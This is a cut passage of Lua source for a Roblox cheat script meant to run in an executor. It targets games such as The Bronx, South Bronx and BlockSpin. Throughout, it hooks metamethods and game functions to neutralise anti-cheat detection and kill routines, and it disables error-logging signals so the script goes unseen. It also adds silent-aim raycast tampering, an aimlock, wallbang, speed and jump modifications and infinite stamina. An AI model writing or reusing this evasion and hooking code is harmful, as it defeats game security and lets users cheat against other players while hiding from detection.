		return OldFenv(ToInspect)
	end)

	if not Success then
		return OldFenv(...)
	end

	if typeof(ToInspect) == "function" then
		if typeof(ResultingEnv["getgenv"]) == "function" and
isexecutorclosure(ResultingEnv["getgenv"]) then
			return getrenv()
		end

		return ResultingEnv
	end

	local ReconstructedConstructedStack = {}
	for Level = 2, 19997 do
		local StackInfoSuccess, Data = pcall(function()
			return {
				Environement = OldFenv(Level + 3),
```

```
                                        Function = OldDebugInfo(Level + 3, "f"),
                                }
                        end)

                        if not StackInfoSuccess or not Data then
                                break
                        end

                        local Environement = Data.Environement
                        -- local Function = Data.Function

                        if typeof(Environement["getgenv"]) == "function" and
isexecutorclosure(Environement["getgenv"]) then
                                Environement = getrenv()
                        end

                        table.insert(ReconstructedConstructedStack, Environement)
                end

                local InfoLevel = ReconstructedConstructedStack[ToInspect]

                if not InfoLevel then
                        -- Max level is 19997 so this guarantees that it will return error
                        return OldFenv(3e4)
                end

                return InfoLevel
        end)

        -- Disable all blacklisted connections

        local BlacklistedSignals = {
                game:GetService("LogService").MessageOut,
                game:GetService("ScriptContext").Error,
        }

        local DummySignals = {}

        for _, Signal in next, BlacklistedSignals do
                for _, Connection in next, getconnections(Signal) do
                        -- dawg why does volcano return a thread for
Connection.Function
                        if
                                (Connection.Function
                                and type(Connection.Function) == "function"
                                and isexecutorclosure(Connection.Function)) or
                                Connection.Function == nil -- CoreScript connections
return nil for Function
                        then
                                continue
                        else
                                Connection:Disable()
                        end
                end
```

```
		end

		local OldIndex
		OldIndex = hookmetamethod(game, "__index", function(Self, Key)
			if checkcaller() then
				return OldIndex(Self, Key)
			end

			local Result = OldIndex(Self, Key)

			for _, BlacklistedSignal in next, BlacklistedSignals do
				if Result == BlacklistedSignal then
					if not DummySignals[BlacklistedSignal] then
						DummySignals[BlacklistedSignal] =
Instance.new("BindableEvent").Event
					end

					return DummySignals[BlacklistedSignal]
				end
			end

			return Result
		end)

		local OldNewIndex
		OldNewIndex = hookmetamethod(game, "__newindex", function(Self, Key,
Value)
			local AssetIndexes = {
				["MeshID"] = true,
				["TextureID"] = true,
				["MeshId"] = true,
				["TextureId"] = true,
				["Image"] = true,
				["SoundId"] = true,
				["AnimationId"] = true,
			}

			if AssetIndexes[Key] then
				local AssetId = Value

				if typeof(AssetId) == "string" then
					AssetId = tonumber(AssetId:match("%d+"))
				end

				if AssetId and not BlacklistedAssets[AssetId] then
					-- Check if the asset is already loaded so we don't
accidentally blacklist a legitimate asset
					local AssetLoaded = false
					if

ContentProvider:GetAssetFetchStatus("rbxassetid://" .. AssetId)
						== Enum.AssetFetchStatus.Success
					then
						AssetLoaded = true
```

```
                    end

                    if checkcaller() then
                        if not AssetLoaded then
                            BlacklistedAssets[AssetId] = true
                        end
                    else
                        if BlacklistedAssets[AssetId] then
                            -- The game is doing a sanity check where it intentionally loads a blacklisted asset
                            -- to see if the executor is blocking it. We need to remove it from the blacklist
                            -- so it doesn't get blocked.
                            BlacklistedAssets[AssetId] = nil
                        end
                    end
                end
            end

            if Key == "CanCollide" and (not checkcaller()) then
                local Name = debug.info(3, "n")
                if Name and Name:match("Obfuscated") then
                    return coroutine.yield()
                end
            end

            return OldNewIndex(Self, Key, Value)
        end)

        -- Now that we will proxy and record all assets the executor uses, we can load the hook.

        local OldPreloadAsync
        OldPreloadAsync = shared.SafeHook(
            ContentProvider.PreloadAsync,
            function(Self, Assets, OriginalCallback)
                if Self ~= ContentProvider or type(Assets) ~= "table" or type(OriginalCallback) ~= "function" then --note: callback can be nil but in that case it's useless anyways
                    return OldPreloadAsync(Self, Assets, OriginalCallback)
                end

                --check for any errors that I might've missed (such as table being {[2] = "something"} which causes "Unable to cast to Array")
                local err
                task.spawn(
                    function() --TIL calling a C yield function inside a C yield function is a bad idea ("cannot resume non-suspended coroutine")
                        local s, e = pcall(OldPreloadAsync, Self, Assets)
                        if not s and e then
                            err = e
                        end
                    end
                )
```

```
                                        if err then
                                                return OldPreloadAsync(Self, Assets) --don't pass the
callback, just in case
                                        end

                                        Assets = FilterTable(Assets)
                                        return OldPreloadAsync(Self, Assets, OriginalCallback)
                                end
                        )
        end)()

        local Sprint_Module =
require(game:GetService("ReplicatedStorage").Modules.Game.Sprint)
        local Function_Table_UpValue = debug.getupvalue(Sprint_Module.loaded, 11)

        local _getfenv; _getfenv = hookfunction(getrenv().getfenv,
LPH_NO_VIRTUALIZE(function(level)
            if debug.traceback():find("validity_check") then
                return setmetatable({}, {
                    __index = function(...)
                        return nil
                    end
                });
            end;

            return _getfenv(level);
        end));

        getgenv().Send_Remote = Function_Table_UpValue.send;

        getgenv().AntiCheatBypass = true;
    end

    if Game_Name == "Universal" or Game_Name == "Road To Riches" or Game_Name ==
"Street Life" or Game_Name == "The Bronx" or Game_Name == "Town" and not Solara then
        local DTC;

        LPH_NO_VIRTUALIZE(function()
            for Index, Value in next, getgc(true) do
                if type(Value) == "table" then
                    local Detected = rawget(Value, "Detected");
                    local Kill = rawget(Value, "Kill");
                    if type(Detected) == "function" and not DTC then
                        DTC = Detected
                        hookfunction(Detected, function(...)
                            return true
                        end);
                    end;
                    if rawget(Value, "Variables") and rawget(Value, "Process") and typeof(Kill) ==
"function" then
                        hookfunction(Kill, function(...)
                        end)
                    end;
```

```
            end;
        end;
    end)()

    local Old; Old = hookfunction(getrenv().debug.info, LPH_NO_UPVALUES(function(...)
        local LevelOrFunc, Info = ...
        if DTC and LevelOrFunc == DTC then
            return coroutine.yield(coroutine.running())
        end
        return Old(...)
    end));

    getgenv().AntiCheatBypass = true
end

if Game_Name == "South Bronx" and not Solara then
    for Index, Value in getconnections(Services.ScriptContext.Error) do
        pcall(function()
            Value:Disable()
        end)

        pcall(function()
            Value:Disconnect()
        end)
    end

    for Index, Value in Services.ReplicatedStorage.Workspace.Homeless:GetChildren() do
        Value.Parent = Services.Workspace.Folders.HomelessPeople
    end

    for Index, Value in Services.Workspace.Folders.HomelessPeople:GetChildren() do
        Value:GetPropertyChangedSignal('Parent'):Connect(LPH_NO_VIRTUALIZE(function()
            task.wait()
            Value.Parent = Services.Workspace.Folders.HomelessPeople
        end))
    end

    for Index, Value in Services.ReplicatedStorage.Workspace.NPCs:GetChildren() do
        Value.Parent = Services.Workspace.Folders.NPCs
    end

    for Index, Value in Services.Workspace.Folders.NPCs:GetChildren() do
        Value:GetPropertyChangedSignal('Parent'):Connect(LPH_NO_VIRTUALIZE(function()
            task.wait()
            Value.Parent = Services.Workspace.Folders.NPCs
        end))
    end

    local task_wait_hook; task_wait_hook = hookfunction(task.wait,
LPH_NO_UPVALUES(function(...)
        local args = {...}
        local traceback = debug.traceback()

        if args[1] == 2.5 and traceback:find("Loop") and traceback:find("NPCs") then
```

```
        return false
    end

    return task_wait_hook (...)
end))

for Index, Value in getconnections(Services.Players.LocalPlayer.Idled) do
    if Value["Disable"] then
        Value["Disable"](Value)
    end

    if Value["Disconnect"] then
        Value["Disconnect"](Value)
    end
end

local get_nil_instance = LPH_JIT_MAX(function(name, class)
    local found = nil

    for _, instance in getnilinstances() do
        local instanceName = instance.Name

        if class then
            if not instance:IsA(class) then continue end

            if instanceName:find(name) then
                found = instance
            end
        else
            if instanceName:find(name) then
                found = instance
            end
        end
    end

    return found
end)

repeat task.wait() until get_nil_instance("Gun", "ModuleScript")

local gun_module = getsenv(get_nil_instance("Gun", "ModuleScript"))

local old; old = hookfunction(gun_module.x, LPH_NO_UPVALUES(function()
    return nil
end))

--[[local Old; Old = hookmetamethod(game, "__index", LPH_NO_VIRTUALIZE(function(...)
    local Self, Index = ...

    if checkcaller() then
        return Old(...)
    end

    if Index ~= "CanCollide" then
```

```
            return Old(...)
        end

        if typeof(Self) == "Instance" and Self.Name and Collide_Data[Self.Name] then
            return Collide_Data[Self.Name]
        end

        if typeof(Self) == "Instance" and Self.Name and Self.Name == "Table" then
            return true
        end

        return Old(...)
    end))]]

    getgenv().AntiCheatBypass = true
end

repeat Services.RunService.RenderStepped:Wait() until getgenv().AntiCheatBypass == true
end

local OldLightingSettings = {}

OldLightingSettings["Brightness"] = Lighting.Brightness
OldLightingSettings["ClockTime"] = Lighting.ClockTime
OldLightingSettings["FogEnd"] = Lighting.FogEnd
OldLightingSettings["GlobalShadows"] = Lighting.GlobalShadows
OldLightingSettings["OutdoorAmbient"] = Lighting.OutdoorAmbient

do
    LPH_JIT_MAX(function()
        local getnamecallmethod, hookmetamethod, hookfunction = (getnamecallmethod ~= nil)
and clonefunction(getnamecallmethod) or function(...) end, (hookmetamethod ~= nil) and
clonefunction(hookmetamethod) or function(...) end, (hookfunction ~= nil) and
clonefunction(hookfunction) or function(...) end
        _fireproximityprompt = fireproximityprompt
        if Solara or not fireproximityprompt or string.find(identifyexecutor(), "MacSploit") then
            getgenv().fireproximityprompt = LPH_NO_VIRTUALIZE(function(self, vuln)
                local prompt_settings = {["HoldDuration"] = self.HoldDuration;
["RequiresLineOfSight"] = self.RequiresLineOfSight};

                if not vuln then
                    self.HoldDuration = 0; self.RequiresLineOfSight = false;

                    self:InputHoldBegin()

                    if not (self.HoldDuration == 0) then
                        task.wait(self.HoldDuration)
                    end

                    self:InputHoldEnd()

                    for Index, Value in prompt_settings do
                        self[Index] = Value
                    end
```

```
        else
            self.HoldDuration = 0; self.RequiresLineOfSight = false;

            _fireproximityprompt(self)
        end
    end)
end

local Tint = Instance.new("ColorCorrectionEffect", Lighting)
local OldSaturation = Lighting.ColorCorrection.Saturation
local OldFogColor = Lighting.FogColor
local Set_Fog, Set_Fov, Set_FullBright = false, false, false
RunService.PreRender:Connect(LPH_NO_VIRTUALIZE(function()
    if Config.WorldVisuals.SaturationEnabled then
        Lighting.ColorCorrection.Saturation = Config.WorldVisuals.Saturation_Value
    else
        Lighting.ColorCorrection.Saturation = OldSaturation
    end

    if Config.WorldVisuals.Fullbright then
        Set_FullBright = false
        Lighting.Brightness = 2
        Lighting.ClockTime = 14
        Lighting.FogEnd = 100000
        Lighting.GlobalShadows = false
        Lighting.OutdoorAmbient = Color3.fromRGB(128, 128, 128)
    else
        if not Set_FullBright then
            Set_FullBright = true

            Lighting.Brightness = OldLightingSettings.Brightness
            Lighting.FogEnd = OldLightingSettings.FogEnd
            Lighting.GlobalShadows = OldLightingSettings.GlobalShadows
            Lighting.OutdoorAmbient = OldLightingSettings.OutdoorAmbient
        end
    end

    if Config.WorldVisuals.AmbientEnabled then
        Tint.TintColor = Config.WorldVisuals.AmbientColor
    else
        Tint.TintColor = Color3.new(1,1,1)
    end

    if Config.WorldVisuals.FogColorEnabled then
        Set_Fog = false
        Lighting.FogColor = Config.WorldVisuals.FogColor
    else
        if not Set_Fog then
            Set_Fog = true

            Lighting.FogColor = OldFogColor
        end
    end
```

```
        if Config.WorldVisuals.FieldOfViewEnabled then
            Set_Fov = false
            Camera.FieldOfView = Config.WorldVisuals.FieldOfViewValue
        else
            if not Set_Fov then
                Set_Fov = true
                Camera.FieldOfView = 70
            end
        end
    end))

    local Stamina_Table = {};

    if Game_Name == "South Bronx" and not Solara then
        for Index, Value in getgc(true) do
            if typeof(Value) == "table" and rawget(Value, "Stamina") then
                Stamina_Table = Value
            end
        end
    end;

    local Set_Speed, Set_JumpPower, Set_Spectate = false, false, false
    if Game_Name == "The Bronx" then
        RunService:BindToRenderStep("MiscSettings", 1000 ,
LPH_NO_VIRTUALIZE(function(Delta)
            if not LocalPlayer.Character or not LocalPlayer.Character:FindFirstChild("Humanoid")
or not LocalPlayer.Character:FindFirstChild("Head") then return end

            if not (Game_Name == "South Bronx") and not (Game_Name == "Road To Riches")
then
                if Config.MiscSettings.ModifySpeed.Enabled then
                    Set_Speed = false

                    local Direction = Vector3.zero
                    if UserInputService:IsKeyDown(Enum.KeyCode.W) then Direction +=
Camera.CFrame.LookVector end
                    if UserInputService:IsKeyDown(Enum.KeyCode.S) then Direction -=
Camera.CFrame.LookVector end
                    if UserInputService:IsKeyDown(Enum.KeyCode.A) then Direction -=
Camera.CFrame.RightVector end
                    if UserInputService:IsKeyDown(Enum.KeyCode.D) then Direction +=
Camera.CFrame.RightVector end

                    if Direction.Magnitude > 0 then
                        LocalPlayer.Character.Humanoid:ChangeState(0)

                        LocalPlayer.Character.HumanoidRootPart.CFrame += Direction.Unit *
Config.MiscSettings.ModifySpeed.Value * Delta

                        if LocalPlayer.Character.Humanoid:GetState() ==
Enum.HumanoidStateType.FallingDown then LocalPlayer.Character.Humanoid:ChangeState(2)
end
                    end
                else
```

```
                if not Set_Speed then
                    Set_Speed = true;
                    LocalPlayer.Character.Humanoid:ChangeState(2)
                    LocalPlayer.Character:FindFirstChild("Humanoid").WalkSpeed =
UserInputService:IsKeyDown(Enum.KeyCode.LeftShift) and 16 or 7
                end
            end

            if Config.MiscSettings.ModifyJump.Enabled then
                Set_JumpPower = false
                LocalPlayer.Character:FindFirstChild("Humanoid").JumpHeight =
Config.MiscSettings.ModifyJump.Value
            else
                if not Set_JumpPower then
                    Set_JumpPower = true;
                    LocalPlayer.Character:FindFirstChild("Humanoid").JumpHeight = 7
                end
            end
        end

        if Config.TheBronx.PlayerUtilities.SpectatePlayer then
            Set_Spectate = false
            local Subject =
Players:FindFirstChild(Config.TheBronx.PlayerUtilities.SelectedPlayer) and
Players:FindFirstChild(Config.TheBronx.PlayerUtilities.SelectedPlayer).Character and
Players:FindFirstChild(Config.TheBronx.PlayerUtilities.SelectedPlayer).Character:FindFirstChild
("Humanoid")

            if not Players:FindFirstChild(Config.TheBronx.PlayerUtilities.SelectedPlayer) or not
Players:FindFirstChild(Config.TheBronx.PlayerUtilities.SelectedPlayer).Character or not
Players:FindFirstChild(Config.TheBronx.PlayerUtilities.SelectedPlayer).Character:FindFirstChild
("Humanoid") then
                Subject = LocalPlayer.Character.Humanoid
            end

            Camera.CameraSubject = Subject
        else
            if not Set_Spectate then
                Set_Spectate = true

                Camera.CameraSubject = LocalPlayer.Character.Humanoid
            end
        end
    end))
else
    RunService:BindToRenderStep("MiscSettings", 1000 , LPH_NO_VIRTUALIZE(function()
        if not LocalPlayer.Character or not LocalPlayer.Character:FindFirstChild("Humanoid")
or not LocalPlayer.Character:FindFirstChild("Head") then return end

        if not (Game_Name == "South Bronx") and not (Game_Name == "Road To Riches")
then
            if Config.MiscSettings.ModifySpeed.Enabled then
                Set_Speed = false
```

```
                LocalPlayer.Character:FindFirstChild("Humanoid").WalkSpeed =
Config.MiscSettings.ModifySpeed.Value
            else
                if not Set_Speed then
                    Set_Speed = true;
                    LocalPlayer.Character:FindFirstChild("Humanoid").WalkSpeed = 16
                end
            end

            if Config.MiscSettings.ModifyJump.Enabled then
                Set_JumpPower = false
                LocalPlayer.Character:FindFirstChild("Humanoid").JumpPower =
Config.MiscSettings.ModifyJump.Value
            else
                if not Set_JumpPower then
                    Set_JumpPower = true;
                    LocalPlayer.Character:FindFirstChild("Humanoid").JumpPower = 50
                end
            end
        end

        if Config.South_Bronx.PlayerUtilities.SpectatePlayer then
            Set_Spectate = false
            local Subject =
Players:FindFirstChild(Config.South_Bronx.PlayerUtilities.SelectedPlayer) and
Players:FindFirstChild(Config.South_Bronx.PlayerUtilities.SelectedPlayer).Character and
Players:FindFirstChild(Config.South_Bronx.PlayerUtilities.SelectedPlayer).Character:FindFirstC
hild("Humanoid")

            if not Players:FindFirstChild(Config.South_Bronx.PlayerUtilities.SelectedPlayer) or
not Players:FindFirstChild(Config.South_Bronx.PlayerUtilities.SelectedPlayer).Character or not
Players:FindFirstChild(Config.South_Bronx.PlayerUtilities.SelectedPlayer).Character:FindFirstC
hild("Humanoid") then
                Subject = LocalPlayer.Character.Humanoid
            end

            Camera.CameraSubject = Subject
        else
            if not Set_Spectate then
                Set_Spectate = true

                Camera.CameraSubject = LocalPlayer.Character.Humanoid
            end
        end

        if Game_Name == "South Bronx" then
            if LocalPlayer.Character.Head:FindFirstChild("RankTag") then
                --if not getgenv().Window then return end


LocalPlayer.Character.Head:FindFirstChild("RankTag").MainFrame.NameLabel.Visible = not
Config.South_Bronx.LocalPlayer_Config.HideName
            end
        end
```

```
            if Game_Name == "South Bronx" and Solara then
                return
            end

            if Game_Name == "South Bronx" and
Config.South_Bronx.LocalPlayer_Config.InfiniteStamina and not Solara then
                Stamina_Table.Stamina = 100
            end
        end))
    end

    WorldToScreenPoint = Camera.WorldToScreenPoint;
    GetMouseLocation = UserInputService.GetMouseLocation;
    FindFirstChild = Workspace.FindFirstChild;
    GetPlayers = Players.GetPlayers;
    GetChildren = Workspace.GetChildren;
    GetPartsObscuringTarget = Camera.GetPartsObscuringTarget;
    GetDescendants = Workspace.GetDescendants;
    IsA = Workspace.IsA;
    FindFirstChildOfClass = Workspace.FindFirstChildOfClass

    DistanceCheck = LPH_NO_VIRTUALIZE(function(Player, Distance)
        if not Player then
            return false
        end

        if Player.Character and FindFirstChild(Player.Character,"HumanoidRootPart") then
            local Magnitude = (Camera.CFrame.Position -
FindFirstChild(Player.Character,"HumanoidRootPart").Position).Magnitude;

            return Distance > Magnitude
        end;

        return false
    end);

    WallCheck = LPH_NO_VIRTUALIZE(function(Character)
        local Origin = Camera.CFrame.Position;
        local Position = FindFirstChild(Character, "Head").Position;
        local Parameters = RaycastParams.new();

        Parameters.FilterDescendantsInstances = { LocalPlayer.Character, Camera, Character };
        Parameters.FilterType = Enum.RaycastFilterType.Blacklist;
        Parameters.IgnoreWater = true;

        return not Workspace:Raycast(Origin, Position - Origin, Parameters)
    end)

    GetClosestPlayerToMouseAimbot = LPH_NO_VIRTUALIZE(function()
        if not Config.Aimlock.Enabled then return end
        if not Config.Aimlock.Aiming then return end

        local PriorityPlayers = {}
```

```
        local Plrs = Players:GetPlayers()

        if library.priority[1] then
            for Index, Value in Plrs do
                if Value == LocalPlayer then continue end;
                if not table.find(library.priority, Value.Name) then continue end;
                if table.find(library.whitelist, Value.Name) then continue end;
                if (Value.Character and Value.Character:FindFirstChild(Config.Aimlock.TargetPart)
and Value.Character:FindFirstChild("Humanoid") and
Value.Character:FindFirstChild("Humanoid").Health > (Game_Name == "South Bronx" and 4 or
0)) then
                    if FindFirstChildOfClass(Value.Character, "ForceField") then continue end
                    if FindFirstChild(Value.Character, "Torso") and FindFirstChild(Value.Character,
"Torso").Material == Enum.Material.ForceField then continue end
                    if Value.Character.Parent == nil then continue end
                    local TargetPart = Value.Character:FindFirstChild(Config.Aimlock.TargetPart)
                    local MouseLocation = Vector2.new(Mouse.X, Mouse.Y)
                    local TargetPartPosition, OnScreen =
Camera:WorldToScreenPoint(TargetPart.Position)
                    local Radius = Config.Aimlock.UseFieldOfView and Config.Aimlock.Radius or
9e9
                    local Magnitude = (Vector2.new(TargetPartPosition.X,TargetPartPosition.Y) -
MouseLocation).Magnitude
                    if not DistanceCheck(Value, Config.Aimlock.MaxDistance) then continue end

                    if Radius > Magnitude and OnScreen and Value then
                        if (Config.Aimlock.WallCheck and not WallCheck(Value.Character)) then
continue end
                        table.insert(PriorityPlayers, {Player = Value, Distance = Magnitude})
                    end
                end;
            end;

            table.sort(PriorityPlayers, function(Player , PlayerTwo)
                return Player.Distance<PlayerTwo.Distance
            end)

            if PriorityPlayers[1] then
                return PriorityPlayers[1].Player
            end;
        end;

        local ValidPlayers = {};

        for Index, Value in Plrs do
            if Value == LocalPlayer then continue end;
            if table.find(library.whitelist, Value.Name) then continue end;
            if (Value.Character and Value.Character:FindFirstChild(Config.Aimlock.TargetPart) and
Value.Character:FindFirstChild("Humanoid") and
Value.Character:FindFirstChild("Humanoid").Health > (Game_Name == "South Bronx" and 4 or
0)) then
                if FindFirstChildOfClass(Value.Character, "ForceField") then continue end
```

```
                if FindFirstChild(Value.Character, "Torso") and FindFirstChild(Value.Character,
"Torso").Material == Enum.Material.ForceField then continue end
                if Value.Character.Parent == nil then continue end
                local TargetPart = Value.Character:FindFirstChild(Config.Aimlock.TargetPart)
                local MouseLocation = Vector2.new(Mouse.X, Mouse.Y)
                local TargetPartPosition, OnScreen =
Camera:WorldToScreenPoint(TargetPart.Position)
                local Radius = Config.Aimlock.UseFieldOfView and Config.Aimlock.Radius or 9e9
                local Magnitude = (Vector2.new(TargetPartPosition.X,TargetPartPosition.Y) -
MouseLocation).Magnitude
                if not DistanceCheck(Value, Config.Aimlock.MaxDistance) then continue end

                if Radius > Magnitude and OnScreen and Value then
                    if (Config.Aimlock.WallCheck and not WallCheck(Value.Character)) then continue
end
                    table.insert(ValidPlayers, {Player = Value, Distance = Magnitude})
                end;
            end;
        end;

        table.sort(ValidPlayers, function(Player , PlayerTwo)
            return Player.Distance<PlayerTwo.Distance
        end);

        if ValidPlayers[1] then
            return ValidPlayers[1].Player
        end;

        return nil
    end);

    GetClosestPlayerToPlayer = LPH_NO_VIRTUALIZE(function(Player)
        local _Players = {}

        if not Player.Character or not Player.Character:FindFirstChild("HumanoidRootPart") or
not Player.Character:FindFirstChild("Humanoid") then return end

        for Index, Value in Players:GetPlayers() do
            if Player == LocalPlayer and Value == LocalPlayer then continue end

            if not Value.Character or not Value.Character:FindFirstChild("HumanoidRootPart") or
not Value.Character:FindFirstChild("Humanoid") then continue end
            if Value.Character:FindFirstChild("Humanoid").Health == 0 then continue end

            if (Player.Character.HumanoidRootPart.Position -
Value.Character.HumanoidRootPart.Position).Magnitude > 15 then continue end

            table.insert(_Players, {Plr = Value, Range =
(Player.Character.HumanoidRootPart.Position -
Value.Character.HumanoidRootPart.Position).Magnitude})
        end

        table.sort(_Players, function(...)
            return select(1, ...).Range < select(2, ...).Range
```

```
        end)

        return _Players[1] and _Players[1].Plr or nil
    end);

    GetClosestPlayerToMouseSilent = LPH_NO_VIRTUALIZE(function()
        if not Config.Silent.Enabled then return end
        if not Config.Silent.Targetting then return end

        local PriorityPlayers = {}

        local Plrs = GetPlayers(Players)

        if library.priority[1] then
            for Index, Value in Plrs do
                if Value == LocalPlayer then continue end;
                if not table.find(library.priority, Value.Name) then continue end;
                if table.find(library.whitelist, Value.Name) then continue end;
                if (Value.Character and FindFirstChild(Value.Character, "HumanoidRootPart") and
FindFirstChild(Value.Character,"Humanoid") and
FindFirstChild(Value.Character,"Humanoid").Health > (Game_Name == "South Bronx" and 4 or
0)) then
                    if FindFirstChildOfClass(Value.Character, "ForceField") then continue end
                    if FindFirstChild(Value.Character, "Torso") and FindFirstChild(Value.Character,
"Torso").Material == Enum.Material.ForceField then continue end
                    if Value.Character.Parent == nil then continue end
                    local TargetPart = FindFirstChild(Value.Character, "HumanoidRootPart");
                    local MouseLocation = Vector2.new(Mouse.X, Mouse.Y)
                    local TargetPartPosition, OnScreen = WorldToScreenPoint(Camera,
TargetPart.Position);
                    local Radius = Config.Silent.UseFieldOfView and Config.Silent.Radius or 9e9;
                    local Magnitude = (Vector2.new(TargetPartPosition.X,TargetPartPosition.Y) -
MouseLocation).Magnitude;
                    if not DistanceCheck(Value, Config.Silent.MaxDistance) then continue end

                    if Radius > Magnitude and OnScreen and Value then
                        if not Config.Silent.WallBang and (Config.Silent.WallCheck and (not
WallCheck(Value.Character))) then continue end;
                        table.insert(PriorityPlayers, {Player = Value, Distance = Magnitude});
                    end;
                end;
            end;

            table.sort(PriorityPlayers, function(Player , PlayerTwo)
                return Player.Distance<PlayerTwo.Distance
            end);

            if PriorityPlayers[1] then
                return PriorityPlayers[1].Player
            end;
        end;

        local ValidPlayers = {};
```

```
        for Index, Value in Plrs do
            if Value == LocalPlayer then continue end;
            if table.find(library.whitelist, Value.Name) then continue end;
            if (Value.Character and FindFirstChild(Value.Character, "HumanoidRootPart") and
FindFirstChild(Value.Character,"Humanoid") and
FindFirstChild(Value.Character,"Humanoid").Health > (Game_Name == "South Bronx" and 4 or
0)) then
                if FindFirstChildOfClass(Value.Character, "ForceField") then continue end
                if FindFirstChild(Value.Character, "Torso") and FindFirstChild(Value.Character,
"Torso").Material == Enum.Material.ForceField then continue end
                if Value.Character.Parent == nil then continue end
                local TargetPart = FindFirstChild(Value.Character, "HumanoidRootPart")
                local MouseLocation = Vector2.new(Mouse.X, Mouse.Y)
                local TargetPartPosition, OnScreen = WorldToScreenPoint(Camera,
TargetPart.Position)
                local Radius = Config.Silent.UseFieldOfView and Config.Silent.Radius or 9e9
                local Magnitude = (Vector2.new(TargetPartPosition.X,TargetPartPosition.Y) -
MouseLocation).Magnitude
                if not DistanceCheck(Value, Config.Silent.MaxDistance) then continue end

                if Radius > Magnitude and OnScreen and Value then
                    if not Config.Silent.WallBang and (Config.Silent.WallCheck and not
WallCheck(Value.Character)) then continue end
                    table.insert(ValidPlayers, {Player = Value, Distance = Magnitude})
                end
            end;
        end;

        table.sort(ValidPlayers, function(Player , PlayerTwo)
            return Player.Distance<PlayerTwo.Distance
        end);

        if ValidPlayers[1] then
            return ValidPlayers[1].Player
        end;

        return nil
    end);

    SilentTarget = GetClosestPlayerToMouseSilent()

    TargetTable = {GetClosestPlayerToMouseAimbot();}

    local __namecall; __namecall = Solara and nil or not Solara and
hookmetamethod(Workspace, "__namecall", LPH_NO_VIRTUALIZE(function(...)
        local Arguments = {...};
        local Method = getnamecallmethod();

        if checkcaller() then
            return __namecall(...)
        end;

        if not SilentTarget then
            return __namecall(...)
```

```
        end;

        if not Config.Silent.Enabled then
            return __namecall(...)
        end;

        if Game_Name == "Town" then
            if tostring(getcallingscript()) ~= "GunScript" then
                return __namecall(...)
            end
        end

        if not (mathrandom(0, 100) <= Config.Silent.HitChance) then
            return __namecall(...)
        end

        if Game_Name == "The Bronx" then
            local Script = getcallingscript()

            if not (Script.Name == "GunScript_Local" or Script.Name ==
"BulletVisualizerServerScript" or Script.Name == "BulletVisualizerClientScript") then
                return __namecall(...)
            end
        end

        local RandomPart = Config.Silent.TargetPart[1] and
Config.Silent.TargetPart[math.random(1, #Config.Silent.TargetPart)] or "Head"

        if Method == "Raycast" and table.find(Config.Game.Ray_Systems, "Raycast") then
            local Script = getcallingscript()

            if Game_Name == "BlockSpin" then
                if Script and not (Script.Name == "Gun") then
                    return __namecall(...)
                end
            end

            if Game_Name == "South Bronx" then
                if Script and Script.Name == "RealismClient" then
                    return __namecall(...)
                end
            end

            if Config.Silent.Enabled then
                if Config.Silent.Targetting then
                    local Target = SilentTarget
                    if Target and Target.Character and FindFirstChild(Target.Character, RandomPart)
and FindFirstChild(Target.Character,"Humanoid") and
FindFirstChild(Target.Character,"Humanoid").Health ~= 0 then
                        local TargetPart = FindFirstChild(Target.Character, RandomPart);
                        local Origin = Arguments[2];
                        local Direction = (TargetPart.Position - Origin).Unit * 1000;

                        Arguments[3] = Direction;
```

```
                end;

                if Config.Silent.WallBang and Game_Name ~= "BlockSpin" then
                    local FilterDescendantsInstances = {};

                    if Target.Character then
                        for Index, Value in pairs(GetDescendants(Target.Character)) do
                            if IsA(Value, "Part") or IsA(Value, "BasePart") or IsA(Value, "MeshPart")
then
                                table.insert(FilterDescendantsInstances, Value)
                            end
                        end;
                    end;

                    local RaycastParams = RaycastParams.new();

                    RaycastParams.FilterType = Enum.RaycastFilterType.Include
                    RaycastParams.IgnoreWater = false
                    RaycastParams.RespectCanCollide = false
                    RaycastParams.FilterDescendantsInstances = FilterDescendantsInstances
                    Arguments[4] = RaycastParams
                end;

                if not Config.Silent.WallBang and Game_Name == "South Bronx" then
                    local RaycastParams = RaycastParams.new()
                    RaycastParams.FilterType = Enum.RaycastFilterType.Blacklist
                    RaycastParams.FilterDescendantsInstances = {LocalPlayer.Character}
                    Arguments[4] = RaycastParams
                end;

                return __namecall(unpack(Arguments))
            end;
        end;
    end;

    if string.find(string.lower(Method), "findpartonray") and
(table.find(Config.Game.Ray_Systems, "FindPartOnRay") or
table.find(Config.Game.Ray_Systems, "FindPartOnRayWithWhitelist")) then
        if Config.Silent.Enabled then
            if Config.Silent.Targetting and mathrandom(0, 100) <= Config.Silent.HitChance
then
                local Target = SilentTarget;
                if Target and Target.Character and FindFirstChild(Target.Character, RandomPart)
and FindFirstChild(Target.Character,"Humanoid") and
FindFirstChild(Target.Character,"Humanoid").Health ~= 0 then
                    local TargetPart = FindFirstChild(Target.Character, RandomPart);
                    local Origin = Arguments[2].Origin;

                    local Direction = (TargetPart.Position - Origin).Unit * 9e17;

                    Arguments[2] = Ray.new(Origin, Direction)

                    if Config.Silent.WallBang then
                        return TargetPart, TargetPart.Position, Vector3.new(0,0,0)
```

```
                end

                return __namecall(unpack(Arguments))
            end;
        end;
    end;
end;

return __namecall(...)
end));

local function Draw(ClassName, Properties)
    local Drawing = Drawing.new(ClassName);

    for Property, Value in Properties do
        Drawing[Property] = Value;
    end;

    return Drawing
end;

local AimbotFieldOfViewOutline = Draw("Circle", {Visible = false, Color = Color3.new(0, 0, 0), Radius = 100, NumSides = 100, Thickness = 4});
local AimbotFieldOfView = Draw("Circle", {Visible = false, Color = Color3.new(1, 1, 1), Radius = 100, NumSides = 100, Thickness = 2});
local AimbotFieldOfViewFill = Draw("Circle", {Visible = false, Color = Color3.new(1, 1, 1), Radius = 100, NumSides = 100, Thickness = 2, Filled = true});

local AimbotSnaplineOutline = Draw("Line", {Visible = false, Color = Color3.new(0, 0, 0), Thickness = 3});
local AimbotSnapline = Draw("Line", {Visible = false, Color = Color3.new(1, 1, 1), Thickness = 1});


local SilentFieldOfViewOutline = Draw("Circle", {Visible = false, Color = Color3.new(0, 0, 0), Radius = 100, NumSides = 100, Thickness = 4});
local SilentFieldOfView = Draw("Circle", {Visible = false, Color = Color3.new(1, 1, 1), Radius = 100, NumSides = 100, Thickness = 2});
local SilentFieldOfViewFill = Draw("Circle", {Visible = false, Color = Color3.new(1, 1, 1), Radius = 100, NumSides = 100, Thickness = 2, Filled = true});

local SilentSnaplineOutline = Draw("Line", {Visible = false, Color = Color3.new(0, 0, 0), Thickness = 3});
